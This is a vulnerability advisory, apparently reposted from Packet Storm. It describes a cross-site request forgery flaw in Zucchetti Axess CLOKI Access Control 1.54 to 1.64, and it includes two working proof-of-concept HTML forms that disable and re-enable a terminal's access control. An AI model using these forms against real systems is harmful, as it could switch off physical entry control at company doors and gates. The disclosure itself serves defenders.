Zucchetti Axess CLOKI Access Control 1.64 Cross Site Request Forgery

Zucchetti Axess CLOKI Access Control version 1.64 suffers from a cross site request forgery vulnerability.


MD5 | 21c4ec71204901fc21ae533af5728ad8

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Zucchetti Axess CLOKI Access Control 1.64 CSRF Disable Access Control


Vendor: Zucchetti Axess S.p.A.
Product web page: https://www.axesstmc.com
Affected version: 1.64
                  1.63
                  1.54


Summary: CLOKI is the pre-installed application on our terminals that
provides simple to use access control management and attendance monitoring
using any browser (IE, Chrome, Firefox, etc.). It is suited for anyone
looking for a stand-alone Access Control and Attendance Monitoring system
where the users' data is not frequently changed. Data management is simple
and intuitive and no additional software is needed on the PC intend to use
as WEB base. CLOKI for Access Control also allows configuration and monitoring
of access at all company entrances (doors, gates, turnstiles etc). The Access
Control manages any type of reader, entrance and access credential. Using an
impartial selector it is possible to check that employees do not take company
assets and allows registration of all accesses to the system and all operations
that users carry out.

Desc: The application interface allows users to perform certain actions via HTTP
requests without performing any validity checks to verify the requests. These
actions can be exploited to perform authentication detriment and account password
change with administrative privileges if a logged-in user visits a malicious web
site.

Tested on: Start X3 (h02 build 4163)
           Start X1 (g01 build 2804)
           X1/X2/X3/X4/X7 Web Server


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5689
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5689.php


13.11.2021

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CSRF disable AC:
----------------
<html>
  <body>
    <form action="http://10.0.0.2:8081/redirect.cgi">
      <input type="hidden" name="flagAccessControlChanged" value="true" />
      <input type="hidden" name="RAct" value="5" />
      <input type="hidden" name="EnR" value="1" />
      <input type="hidden" name="ExR" value="1" />
      <input type="hidden" name="DenyRTout" value="5" />
      <input type="hidden" name="DenyR" value="0" />
      <input type="hidden" name="IType" value="0" />
      <input type="hidden" name="E485" value="on" />
      <input type="hidden" name="GType" value="0" />
      <input type="hidden" name="TOO" value="50" />
      <input type="hidden" name="TOC" value="50" />
      <input type="hidden" name="TOOE" value="100" />
      <input type="hidden" name="TOCE" value="100" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


CSRF enable AC:
---------------
<html>
  <body>
    <form action="http://10.0.0.2:8081/redirect.cgi">
      <input type="hidden" name="flagAccessControlChanged" value="true" />
      <input type="hidden" name="ACtrl" value="on" />
      <input type="hidden" name="RAct" value="5" />
      <input type="hidden" name="EnR" value="1" />
      <input type="hidden" name="ExR" value="1" />
      <input type="hidden" name="DenyRTout" value="5" />
      <input type="hidden" name="DenyR" value="0" />
      <input type="hidden" name="IType" value="0" />
      <input type="hidden" name="E485" value="on" />
      <input type="hidden" name="GType" value="0" />
      <input type="hidden" name="TOO" value="50" />
      <input type="hidden" name="TOC" value="50" />
      <input type="hidden" name="TOOE" value="100" />
      <input type="hidden" name="TOCE" value="100" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Source: packetstormsecurity.com
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